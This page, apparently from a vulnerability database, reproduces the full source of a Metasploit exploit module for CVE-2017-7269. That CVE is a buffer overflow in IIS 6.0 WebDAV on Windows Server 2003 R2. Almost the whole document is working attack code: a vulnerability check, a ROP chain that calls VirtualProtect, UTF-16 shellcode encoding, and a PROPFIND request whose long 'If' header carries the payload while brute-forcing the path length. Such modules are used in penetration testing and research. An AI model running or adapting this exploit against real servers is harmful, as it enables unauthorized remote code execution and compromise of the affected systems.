Microsoft IIS WebDav ScStoragePathFromUrl Overflow

2017-03-28T14:53:18
ID MSF:EXPLOIT/WINDOWS/IIS/IIS_WEBDAV_SCSTORAGEPATHFROMURL
Type metasploit
Reporter Rapid7
Modified 2020-10-02T20:00:37

Description

Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: Author(s) Zhiniang Peng Chen Wu Dominic Chell firefart zcgonvh Rich Whitcroft Lincoln Platform Windows

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
      'Description'    => %q{
          Buffer overflow in the ScStoragePathFromUrl function
          in the WebDAV service in Internet Information Services (IIS) 6.0
          in Microsoft Windows Server 2003 R2 allows remote attackers to
          execute arbitrary code via a long header beginning with
          "If: <http://" in a PROPFIND request, as exploited in the
          wild in July or August 2016.

          Original exploit by Zhiniang Peng and Chen Wu.
      },
      'Author'         =>
        [
        'Zhiniang Peng', # Original author
        'Chen Wu',       # Original author
        'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
        'firefart', # metasploit module
        'zcgonvh <zcgonvh@qq.com>', # metasploit module
        'Rich Whitcroft', # metasploit module
        'Lincoln' # minor updates to metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-7269' ],
          [ 'BID', '97127' ],
          [ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
          [ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'          => 2000,
          'BadChars'       => "\x00",
          'EncoderType'    => Msf::Encoder::Type::AlphanumUnicodeMixed,
          'DisableNops'    =>  'True',
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ESI',
            }
        },
      'DefaultOptions' =>
        {
          'EXITFUNC'       => 'process',
          'PrependMigrate' => true,
        },
      'Targets'        =>
        [
          [
            'Microsoft Windows Server 2003 R2 SP2 x86',
            {
              'Platform' => 'win',
              'Arch'     => ARCH_X86
            },
          ],
        ],
      'Platform'       => 'win',
      'DisclosureDate' => '2017-03-26',
      'DefaultTarget'  => 0,
      'Notes' =>
          {
              'AKA' => ['EXPLODINGCAN']
          }
    ))

    register_options(
      [
        OptString.new('TARGETURI',  [ true, 'Path of IIS 6 web application', '/']),
        OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
        OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
      ])
  end

  def min_path_len
    datastore['MINPATHLENGTH']
  end

  def max_path_len
    datastore['MAXPATHLENGTH']
  end

  def supports_webdav?(headers)
    if headers['MS-Author-Via'] == 'DAV' ||
       headers['DASL'] == '<DAV:sql>' ||
       headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
       headers['Public'].to_s.include?('PROPFIND') ||
       headers['Allow'].to_s.include?('PROPFIND')
      return true
    end

    false
  end

  def check
    res = send_request_cgi({
      'uri' => target_uri.path,
      'method' => 'OPTIONS'
    })

    unless res
      vprint_error 'Connection failed'
      return Exploit::CheckCode::Unknown
    end

    unless supports_webdav? res.headers
      vprint_status 'Server does not support WebDAV'
      return CheckCode::Safe
    end

    if res.headers['Server'].to_s.include? 'IIS/6.0'
      return CheckCode::Vulnerable
    end

    CheckCode::Detected
  end

  # corelan.be
  # rop chain generated with mona.py
  def create_rop_chain
    [
      #MSVCRT.dll - all Windows 2003
      0x77bcb06c, # POP ESI # RETN
      0x77bef001, # Write pointer # Garbage
      0x77bb2563, # POP EAX # RETN
      0x77ba1114, # <- *&VirtualProtect()
      0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
      0x41414141, # junk
      0x77bbee22, # XCHG EAX,ESI # ADD BYTE PTR DS:[EAX],AL # RETN
      0x77bc9801, # POP EBP # RETN
      0x77be2265, # ptr to 'push esp #  ret'
      0x77bb2563, # POP EAX # RETN
      0x03C0946F,
      0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
      0x77bb48d3, # POP EBX, RET
      0x77bf21e0, # .data
      0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
      0x77bbfc02, # POP ECX # RETN
      0x77bef001, # W pointer (lpOldProtect) (-> ecx)
      0x77bd8c04, # POP EDI # RETN
      0x77bd8c05, # ROP NOP (-> edi)
      0x77bb2563, # POP EAX # RETN
      0x03c0944f,
      0x77bdd441, # SUB EAX, 03c0940f
      0x77bb8285, # XCHG EAX,EDX # RETN
      0x77bb2563, # POP EAX # RETN
      0x90909090, # nop
      0x77be6591, # PUSHAD # ADD AL,0EF # RETN
    ].pack("V*")
  end

  #encode string as UTF-8 char format that when converted to UTF-16LE
  #will represent chars we want in memory
  def utf_encode_str(str)
    str.force_encoding('UTF-16LE').encode('UTF-8')
  end

  #filler chars to be encoded
  def make_junk(len)
    utf_encode_str rand_text_alpha(len)
  end

  def exploit
    # extract the local servername and port from a PROPFIND request
    # these need to be the values from the backend server
    # if testing a reverse proxy setup, these values differ
    # from RHOST and RPORT but can be extracted this way
    vprint_status('Extracting ServerName and Port')
    res = send_request_raw(
      'method' => 'PROPFIND',
      'headers' => {
        'Content-Length' => 0
      },
      'uri' => target_uri.path
    )
    fail_with(Failure::BadConfig, 'Server did not respond correctly to WebDAV request') if(res.nil? || res.code != 207)

    xml = res.get_xml_document
    url = URI.parse(xml.at("//a:response//a:href").text)
    server_name = url.hostname
    server_port = url.port
    server_scheme = url.scheme

    http_host = "#{server_scheme}://#{server_name}:#{server_port}"
    vprint_status("Using http_host #{http_host}")

    print_status "Trying path length #{min_path_len} to #{max_path_len} ..."

    min_path_len.upto(max_path_len) do |path_len|
      vprint_status("Trying path length of #{path_len}...")

      begin
        buf1 = "<#{http_host}/"
        buf1 << rand_text_alpha(114 - path_len)
        buf1 << make_junk(32)
        #survive SHR instruction 0x02020202
        buf1 << utf_encode_str([0x02020202].pack('V'))
        #str pointer to .data httpext.dll # ebp-328 # used in wcslen calculation
        buf1 << utf_encode_str([0x680312c0].pack('V'))
        buf1 << make_junk(40)
        #0x680313c0 -> destination pointer used with memcpy
        buf1 << utf_encode_str([0x680313c0].pack('V'))
        buf1 << ">"
        buf1 << " (Not <locktoken:write1>) <#{http_host}/"
        buf1 << rand_text_alpha(114 - path_len)
        buf1 << make_junk(28)
        #0x680313c0  -> pointer to call itself at same address for vtable call
        buf1 << utf_encode_str([0x680313c0].pack('V'))
        #ROP 2 gadget -> advance ESP past previous instructions to start of ROP chain
        #msvct.dll 0x77bdf38d # ADD ESP,1C # POP ECX # POP EBX # POP EAX # RETN
        buf1 << utf_encode_str([0x77bdf38d].pack('V'))
        buf1 << make_junk(8)
        #0x680313c0 -> vtable pointer passed to EAX for call [eax +24]
        #point to itself at [eax]
        buf1 << utf_encode_str([0x680313c0].pack('V'))
        buf1 << make_junk(16)
        #ROP 1 gadget -> 0x68016082 stack flip get ECX into ESP and push EAX
        #which also points to new ESP
        buf1 << utf_encode_str([0x68016082].pack('V'))
        buf1 << utf_encode_str(create_rop_chain)
        #GetPC # push esp; pop esi; add esi, 10
        buf1 << utf_encode_str("\x54\x5e\x83\xc6")
        #GetPC ESI +10 plus encode alignment
        buf1 << utf_encode_str("\x0a\x41")
        buf1 << payload.encoded
        buf1 << ">"

        vprint_status 'Sending payload'
        res = send_request_raw(
          'method' => 'PROPFIND',
          'uri' => target_uri.path,
          'headers' => {
            'Content-Length' => 0,
            'If' => "#{buf1}"
          }
        )
        next unless res

        vprint_status("Server returned status #{res.code}")
        next if res.code == 502 || res.code == 400

        return if session_created?

        vprint_status("Unknown Response: #{res.code}")
      rescue ::Errno::ECONNRESET
        vprint_status('got a connection reset')
        next
      end
    end
  end
end